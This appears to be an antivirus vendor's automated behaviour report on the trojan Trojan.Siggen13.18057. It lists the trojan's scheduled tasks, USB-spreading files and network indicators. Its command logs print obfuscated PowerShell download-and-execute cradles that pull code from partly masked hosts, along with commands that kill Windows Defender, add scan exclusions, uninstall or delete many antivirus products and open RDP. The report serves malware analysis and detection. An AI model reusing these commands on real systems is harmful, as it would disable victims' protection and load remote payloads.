Trojan.Siggen13.18057

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\blackball
<SYSTEM32>\tasks\sc68gwn0
<SYSTEM32>\tasks\czjr3eqv\pvof20ess
<SYSTEM32>\tasks\microsoft\windows\re0eawuszg\oxijclmx3
<SYSTEM32>\tasks\t.ntele.net
<SYSTEM32>\tasks\uov5gmizlxh

Creates the following files on removable media

<Drive name for removable media>:\dblue3.lnk
<Drive name for removable media>:\kblue6.lnk
<Drive name for removable media>:\jblue6.lnk
<Drive name for removable media>:\iblue6.lnk
<Drive name for removable media>:\hblue6.lnk
<Drive name for removable media>:\gblue6.lnk
<Drive name for removable media>:\fblue6.lnk
<Drive name for removable media>:\eblue6.lnk
<Drive name for removable media>:\blue6.bin
<Drive name for removable media>:\dblue6.lnk
<Drive name for removable media>:\kblue3.lnk
<Drive name for removable media>:\jblue3.lnk
<Drive name for removable media>:\iblue3.lnk
<Drive name for removable media>:\hblue3.lnk
<Drive name for removable media>:\gblue3.lnk
<Drive name for removable media>:\fblue3.lnk
<Drive name for removable media>:\eblue3.lnk
<Drive name for removable media>:\blue3.bin
<Drive name for removable media>:\readme.js

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\software\policies\microsoft\windows defender\exclusions\extensions] 'dat' = 'dat'
[<HKLM>\software\policies\microsoft\windows defender\exclusions\extensions] 'bat' = 'bat'
[<HKLM>\software\policies\microsoft\windows defender\exclusions\extensions] 'vbs' = 'vbs'
[<HKLM>\software\policies\microsoft\windows defender\exclusions\extensions] 'exe' = 'exe'
[<HKLM>\software\policies\microsoft\windows defender\exclusions\extensions] 'cmd' = 'cmd'
[<HKLM>\software\policies\microsoft\windows defender\exclusions\extensions] 'ps1' = 'ps1'

Creates and executes the following

'<SYSTEM32>\windowspowershell\v1.0\n4cylx56l.exe' -

Executes the following

'<SYSTEM32>\taskkill.exe' /im msmpeng.exe /f
'<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block

Modifies file system

Creates the following files

%WINDIR%\temp\cab2d0a.tmp
%WINDIR%\temp\wkmpyy3i.out
%WINDIR%\temp\wkmpyy3i.pdb
%WINDIR%\temp\csc5dd8.tmp
%WINDIR%\temp\res5de8.tmp
%WINDIR%\temp\wkmpyy3i.dll
%WINDIR%\temp\dgrb9yrf.0.cs
%WINDIR%\temp\dgrb9yrf.cmdline
%WINDIR%\temp\dgrb9yrf.out
%WINDIR%\temp\csc6528.tmp
%WINDIR%\temp\res6d34.tmp
%WINDIR%\temp\res6538.tmp
%WINDIR%\temp\dgrb9yrf.dll
%WINDIR%\temp\mimi.dat
%WINDIR%\temp\u714pxgr.0.cs
%WINDIR%\temp\u714pxgr.cmdline
%WINDIR%\temp\u714pxgr.out
%WINDIR%\temp\u714pxgr.pdb
%WINDIR%\temp\csc6d04.tmp
%WINDIR%\temp\wkmpyy3i.cmdline
%WINDIR%\temp\dgrb9yrf.pdb
%WINDIR%\temp\wkmpyy3i.0.cs
%WINDIR%\temp\27de7.mst
%WINDIR%\temp\tar2d0b.tmp
%WINDIR%\temp\if.bin
%WINDIR%\temp\kr.bin
%WINDIR%\temp\m6.bin
%WINDIR%\temp\m6.bin.ori
%WINDIR%\temp\aotsh4xn.0.cs
%WINDIR%\temp\aotsh4xn.cmdline
%WINDIR%\temp\aotsh4xn.out
%WINDIR%\temp\b3zoxlxe.0.cs
%WINDIR%\temp\res499e.tmp
%WINDIR%\temp\b3zoxlxe.cmdline
%WINDIR%\temp\b3zoxlxe.out
%WINDIR%\temp\aotsh4xn.pdb
%WINDIR%\temp\csc39f3.tmp
%WINDIR%\temp\b3zoxlxe.pdb
%WINDIR%\temp\csc499d.tmp
%WINDIR%\temp\res3a04.tmp
%WINDIR%\temp\aotsh4xn.dll
%WINDIR%\temp\b3zoxlxe.dll
%WINDIR%\temp\u714pxgr.dll

Deletes the following files

%WINDIR%\temp\cab2d0a.tmp
%WINDIR%\temp\wkmpyy3i.pdb
%WINDIR%\temp\wkmpyy3i.0.cs
%WINDIR%\temp\res6538.tmp
%WINDIR%\temp\csc6528.tmp
%WINDIR%\temp\dgrb9yrf.dll
%WINDIR%\temp\dgrb9yrf.pdb
%WINDIR%\temp\aotsh4xn.dll
%WINDIR%\temp\dgrb9yrf.0.cs
%WINDIR%\temp\dgrb9yrf.cmdline
%WINDIR%\temp\res6d34.tmp
%WINDIR%\temp\csc6d04.tmp
%WINDIR%\temp\u714pxgr.dll
%WINDIR%\temp\u714pxgr.0.cs
%WINDIR%\temp\u714pxgr.pdb
%WINDIR%\temp\wkmpyy3i.out
%WINDIR%\temp\wkmpyy3i.dll
%WINDIR%\temp\wkmpyy3i.cmdline
%WINDIR%\temp\csc5dd8.tmp
%WINDIR%\temp\res5de8.tmp
%WINDIR%\temp\27de7.mst
%WINDIR%\temp\res3a04.tmp
%WINDIR%\temp\csc39f3.tmp
%WINDIR%\temp\aotsh4xn.out
%WINDIR%\temp\aotsh4xn.pdb
%WINDIR%\temp\aotsh4xn.0.cs
%WINDIR%\temp\u714pxgr.out
%WINDIR%\temp\dgrb9yrf.out
%WINDIR%\temp\aotsh4xn.cmdline
%WINDIR%\temp\csc499d.tmp
%WINDIR%\temp\b3zoxlxe.cmdline
%WINDIR%\temp\b3zoxlxe.dll
%WINDIR%\temp\b3zoxlxe.0.cs
%WINDIR%\temp\b3zoxlxe.out
%WINDIR%\temp\b3zoxlxe.pdb
%WINDIR%\temp\tar2d0b.tmp
%WINDIR%\temp\res499e.tmp
%WINDIR%\temp\u714pxgr.cmdline

Network activity

Connects to

'microsoft.com':80
't.##ele.net':80
'localhost':43669
'd.##8.ag':80

TCP

HTTP GET requests

http://t.##ele.net/report.jsp?&p#################################################################################################################################################################...
http://d.##8.ag/mimi.dat?v=##########
http://t.###loan.com/report.jsp?&p###############################################################################################################################################################...

UDP

DNS ASK microsoft.com
DNS ASK t.##ele.net
DNS ASK tt#.qq8.ag
DNS ASK t.###loan.com
DNS ASK d.##8.ag
DNS ASK ap#.890.la
DNS ASK pg.##9kq.com
DNS ASK p.##9kq.com
DNS ASK pg.##qh4.com
DNS ASK p.##qh4.com
DNS ASK lp##.ackng.com

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Creates and executes the following

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -W Hidden -ExecutionPolicy Bypass -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);I`ex(-join[char[]]$d)}$url='http://'+##.###'+'le.net';a($url+'/a.jsp?gi##################...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -W Hidden -ExecutionPolicy Bypass -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);I`ex(-join[char[]]$d)}$url='http://'+####.#'+'q8.ag';a($url+'/a.jsp?gi###################...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -W Hidden -ExecutionPolicy Bypass -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);I`ex(-join[char[]]$d)}$url='http://'+##.####+'loan.com';a($url+'/a.jsp?gi################...' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\aotsh4xn.cmdline"' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);I`ex(-join[char[]]$d)}$url='http://'+##.###'+'le.net';a($url+'/a.jsp?re####################################################...' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\b3zoxlxe.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES3A04.tmp" "%WINDIR%\Temp\CSC39F3.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES499E.tmp" "%WINDIR%\Temp\CSC499D.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\wkmpyy3i.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES5DE8.tmp" "%WINDIR%\Temp\CSC5DD8.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\dgrb9yrf.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES6538.tmp" "%WINDIR%\Temp\CSC6528.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\u714pxgr.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES6D34.tmp" "%WINDIR%\Temp\CSC6D04.tmp"' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
'<SYSTEM32>\cmd.exe' /c wmic RDTOGGLE WHERE ServerName=%COMPUTERNAME% call SetAllowTSConnections 1
'<SYSTEM32>\wbem\wmic.exe' RDTOGGLE WHERE ServerName=plecmddpqokc call SetAllowTSConnections 1
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr blackball
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \sc68Gwn0 /F /tr "powershell.exe -W Hidden -ExecutionPolicy Bypass -c PS_CMD"
'<SYSTEM32>\schtasks.exe' /run /tn \sc68Gwn0
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -W Hidden -ExecutionPolicy Bypass -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);I`ex(-join[char[]]$d)}$url='http://'+##.###'+'le.net';a($url+'/a.jsp?gi##################...
'<SYSTEM32>\cmd.exe' /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn czjr3eqV\pvof20eSs /F /tr "powershell.exe -W Hidden -ExecutionPolicy Bypass -c PS_CMD"
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\RE0eawuSzg\OxijCLmX3 /F /tr "powershell.exe -W Hidden -ExecutionPolicy Bypass -c PS_CMD"
'<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\RE0eawuSzg\OxijCLmX3
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -W Hidden -ExecutionPolicy Bypass -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);I`ex(-join[char[]]$d)}$url='http://'+##.####+'loan.com';a($url+'/a.jsp?gi################...
'<SYSTEM32>\cmd.exe' /c echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='842c31c85b972db52eba0e2470e87184';$ifp=$env:tmp+'\if.bin';$down_url='http://d.###.a...
'<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='842c31c85b972db52eba0e2470e87184';$ifp=$env:tmp+'\if.bin';$down_url='http://...
'<SYSTEM32>\cmd.exe' /c echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='4001ba98a424fdb63047a23af97ec590';$ifp=$env:tmp+'\m6.bin';$down_url='http://d.##...
'<SYSTEM32>\schtasks.exe' /run /tn czjr3eqV\pvof20eSs
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -W Hidden -ExecutionPolicy Bypass -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);I`ex(-join[char[]]$d)}$url='http://'+####.#'+'q8.ag';a($url+'/a.jsp?gi###################...
'<SYSTEM32>\sc.exe' delete MBAMService
'<SYSTEM32>\cmd.exe' /c sc delete MBAMService
'<SYSTEM32>\sc.exe' delete swi_service
'<SYSTEM32>\sc.exe' delete SAVAdminService
'<SYSTEM32>\cmd.exe' /c sc delete SavexSrvc
'<SYSTEM32>\sc.exe' delete SavexSrvc
'<SYSTEM32>\cmd.exe' /c sc delete PMContExtrSvc
'<SYSTEM32>\sc.exe' delete PMContExtrSvc
'<SYSTEM32>\cmd.exe' /c sc delete MMRot
'<SYSTEM32>\sc.exe' delete MMRot
'<SYSTEM32>\cmd.exe' /c sc delete SAVAdminService
'<SYSTEM32>\cmd.exe' /c sc delete PMScanner
'<SYSTEM32>\cmd.exe' /c sc delete PMEVizsla
'<SYSTEM32>\sc.exe' delete PMEVizsla
'<SYSTEM32>\cmd.exe' /c sc delete SavexWebAgent
'<SYSTEM32>\sc.exe' delete SavexWebAgent
'<SYSTEM32>\cmd.exe' /c sc delete swi_filter
'<SYSTEM32>\sc.exe' delete swi_filter
'<SYSTEM32>\cmd.exe' /c sc delete swi_service
'<SYSTEM32>\sc.exe' delete PMScanner
'<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='4001ba98a424fdb63047a23af97ec590';$ifp=$env:tmp+'\m6.bin';$down_url='http...
'<SYSTEM32>\cmd.exe' /c echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='5a275a03a92b0631134fdaa8ebba683c';$ifp=$env:tmp+'\kr.bin';$down_url='http://d.###.a...
'<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='5a275a03a92b0631134fdaa8ebba683c';$ifp=$env:tmp+'\kr.bin';$down_url='http://...
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn t.ntele.net /F /tr t.ntele.net
'<SYSTEM32>\schtasks.exe' /delete /tn Rtsa2 /F
'<SYSTEM32>\schtasks.exe' /delete /tn Rtsa1 /F
'<SYSTEM32>\schtasks.exe' /delete /tn Rtsa /F
'<SYSTEM32>\netstat.exe' -anop TCP
'<SYSTEM32>\sc.exe' Config xWinWpdSrv Start= Disabled
'<SYSTEM32>\sc.exe' Stop xWinWpdSrv
'<SYSTEM32>\sc.exe' Delete xWinWpdSrv
'<SYSTEM32>\sc.exe' Config SVSHost Start= Disabled
'<SYSTEM32>\sc.exe' Stop SVSHost
'<SYSTEM32>\sc.exe' Delete SVSHost
'<SYSTEM32>\sc.exe' Config "Microsoft Telemetry" Start= Disabled
'<SYSTEM32>\sc.exe' Stop "Microsoft Telemetry"
'<SYSTEM32>\sc.exe' Delete "Microsoft Telemetry"
'<SYSTEM32>\sc.exe' Config lsass Start= Disabled
'<SYSTEM32>\sc.exe' Stop lsass
'<SYSTEM32>\sc.exe' Delete lsass
'<SYSTEM32>\sc.exe' Config Microsoft Start= Disabled
'<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
'<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
'<SYSTEM32>\nslookup.exe' lplp.ackng.com
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES6D34.tmp" "%WINDIR%\Temp\CSC6D04.tmp"
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \Uov5gMIzlXH /F /tr "powershell -c PS_CMD"
'<SYSTEM32>\schtasks.exe' /run /tn \Uov5gMIzlXH
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\aotsh4xn.cmdline"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);I`ex(-join[char[]]$d)}$url='http://'+##.###'+'le.net';a($url+'/a.jsp?re####################################################...
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\b3zoxlxe.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES3A04.tmp" "%WINDIR%\Temp\CSC39F3.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES499E.tmp" "%WINDIR%\Temp\CSC499D.tmp"
'<SYSTEM32>\nslookup.exe' pg.b69kq.com
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\wkmpyy3i.cmdline"
'<SYSTEM32>\nslookup.exe' p.b69kq.com
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES5DE8.tmp" "%WINDIR%\Temp\CSC5DD8.tmp"
'<SYSTEM32>\nslookup.exe' pg.k3qh4.com
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -s -NoLogo -NoProfile
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\dgrb9yrf.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES6538.tmp" "%WINDIR%\Temp\CSC6528.tmp"
'<SYSTEM32>\nslookup.exe' p.k3qh4.com
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\u714pxgr.cmdline"
'<SYSTEM32>\sc.exe' Stop Microsoft
'<SYSTEM32>\sc.exe' delete SAVService
'<SYSTEM32>\cmd.exe' /c sc delete SAVService
'<SYSTEM32>\sc.exe' delete "Sophos Endpoint Defense Service"
'<SYSTEM32>\cmd.exe' /c reg add "hklm\software\policies\microsoft\windows defender\exclusions\extensions" /v exe /t reg_sz /d exe /f
'<SYSTEM32>\reg.exe' add "hklm\software\policies\microsoft\windows defender\exclusions\extensions" /v exe /t reg_sz /d exe /f
'<SYSTEM32>\cmd.exe' /c reg add "hklm\software\policies\microsoft\windows defender\exclusions\extensions" /v cmd /t reg_sz /d cmd /f
'<SYSTEM32>\reg.exe' add "hklm\software\policies\microsoft\windows defender\exclusions\extensions" /v cmd /t reg_sz /d cmd /f
'<SYSTEM32>\cmd.exe' /c reg add "hklm\software\policies\microsoft\windows defender\exclusions\extensions" /v ps1 /t reg_sz /d ps1 /f
'<SYSTEM32>\reg.exe' add "hklm\software\policies\microsoft\windows defender\exclusions\extensions" /v ps1 /t reg_sz /d ps1 /f
'<SYSTEM32>\cmd.exe' /c reg add "hklm\software\policies\microsoft\windows defender\exclusions\extensions" /v vbs /t reg_sz /d vbs /f
'<SYSTEM32>\reg.exe' add "hklm\software\policies\microsoft\windows defender\exclusions\extensions" /v vbs /t reg_sz /d vbs /f
'<SYSTEM32>\cmd.exe' /c taskkill /im msmpeng.exe /f
'<SYSTEM32>\cmd.exe' /c sc stop SecurityHealthService
'<SYSTEM32>\sc.exe' stop SecurityHealthService
'<SYSTEM32>\cmd.exe' /c sc stop wuauserv
'<SYSTEM32>\sc.exe' stop wuauserv
'<SYSTEM32>\cmd.exe' /c sc stop WaaSMedicSvc
'<SYSTEM32>\sc.exe' stop WaaSMedicSvc
'<SYSTEM32>\cmd.exe' /c powershell.exe Set-MpPreference -disablearchivescanning True
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -disablearchivescanning True
'<SYSTEM32>\reg.exe' add "hklm\software\policies\microsoft\windows defender\exclusions\extensions" /v bat /t reg_sz /d bat /f
'<SYSTEM32>\cmd.exe' /c reg add "hklm\software\policies\microsoft\windows defender\exclusions\extensions" /v bat /t reg_sz /d bat /f
'<SYSTEM32>\reg.exe' add "hklm\software\policies\microsoft\windows defender\exclusions\extensions" /v dat /t reg_sz /d dat /f
'<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
'<SYSTEM32>\wbem\wmic.exe' product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
'<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
'<SYSTEM32>\wbem\wmic.exe' product where "name like '%avast%'" call uninstall /nointeractive
'<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
'<SYSTEM32>\wbem\wmic.exe' product where "name like '%avp%'" call uninstall /nointeractive
'<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
'<SYSTEM32>\wbem\wmic.exe' product where "name like '%Eset%'" call uninstall /nointeractive
'<SYSTEM32>\wbem\wmic.exe' product where "name like '%Security%'" call uninstall /nointeractive
'<SYSTEM32>\wbem\wmic.exe' product where "name like '%AntiVirus%'" call uninstall /nointeractive
'<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
'<SYSTEM32>\wbem\wmic.exe' product where "name like '%Norton Security%'" call uninstall /nointeractive
'<SYSTEM32>\cmd.exe' /c C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe /verysilent /suppressmsgboxes /norestart
'<SYSTEM32>\cmd.exe' /c reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v disablerealtimemonitoring /t reg_dword /d 1 /f
'<SYSTEM32>\reg.exe' add "hklm\software\policies\microsoft\windows defender\real-time protection" /v disablerealtimemonitoring /t reg_dword /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add "hklm\software\policies\microsoft\windows defender\exclusions\extensions" /v dat /t reg_sz /d dat /f
'<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
'<SYSTEM32>\cmd.exe' /c sc stop WerSvc
'<SYSTEM32>\sc.exe' stop WerSvc
'<SYSTEM32>\cmd.exe' /c sc stop Sense
'<SYSTEM32>\sc.exe' stop Sense
'<SYSTEM32>\sc.exe' stop MMRot
'<SYSTEM32>\cmd.exe' /c sc stop PMScanner
'<SYSTEM32>\sc.exe' stop PMScanner
'<SYSTEM32>\cmd.exe' /c sc stop PMEVizsla
'<SYSTEM32>\sc.exe' stop PMEVizsla
'<SYSTEM32>\cmd.exe' /c sc stop SavexWebAgent
'<SYSTEM32>\sc.exe' stop SavexWebAgent
'<SYSTEM32>\cmd.exe' /c sc stop swi_filter
'<SYSTEM32>\sc.exe' stop swi_filter
'<SYSTEM32>\cmd.exe' /c sc stop swi_service
'<SYSTEM32>\sc.exe' stop swi_service
'<SYSTEM32>\cmd.exe' /c sc stop MBAMService
'<SYSTEM32>\sc.exe' stop MBAMService
'<SYSTEM32>\cmd.exe' /c sc delete "Sophos System Protection Service"
'<SYSTEM32>\sc.exe' delete "Sophos System Protection Service"
'<SYSTEM32>\cmd.exe' /c sc delete "Sophos AutoUpdate Service"
'<SYSTEM32>\sc.exe' delete "Sophos AutoUpdate Service"
'<SYSTEM32>\cmd.exe' /c sc stop MMRot
'<SYSTEM32>\cmd.exe' /c sc stop PMContExtrSvc
'<SYSTEM32>\sc.exe' stop PMContExtrSvc
'<SYSTEM32>\sc.exe' stop SavexSrvc
'<SYSTEM32>\cmd.exe' /c sc stop WdNisSvc
'<SYSTEM32>\sc.exe' stop WdNisSvc
'<SYSTEM32>\cmd.exe' /c sc stop WinDefend
'<SYSTEM32>\sc.exe' stop WinDefend
'<SYSTEM32>\cmd.exe' /c sc stop uhssvc
'<SYSTEM32>\sc.exe' stop uhssvc
'<SYSTEM32>\cmd.exe' /c sc stop "Sophos System Protection Service"
'<SYSTEM32>\sc.exe' stop "Sophos System Protection Service"
'<SYSTEM32>\cmd.exe' /c sc stop "Sophos AutoUpdate Service"
'<SYSTEM32>\sc.exe' stop "Sophos AutoUpdate Service"
'<SYSTEM32>\cmd.exe' /c sc stop "Sophos Endpoint Defense Service"
'<SYSTEM32>\sc.exe' stop "Sophos Endpoint Defense Service"
'<SYSTEM32>\cmd.exe' /c sc stop SAVService
'<SYSTEM32>\sc.exe' stop SAVService
'<SYSTEM32>\cmd.exe' /c sc stop SAVAdminService
'<SYSTEM32>\sc.exe' stop SAVAdminService
'<SYSTEM32>\cmd.exe' /c sc stop SavexSrvc
'<SYSTEM32>\cmd.exe' /c sc delete "Sophos Endpoint Defense Service"
'<SYSTEM32>\sc.exe' Delete Microsoft

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial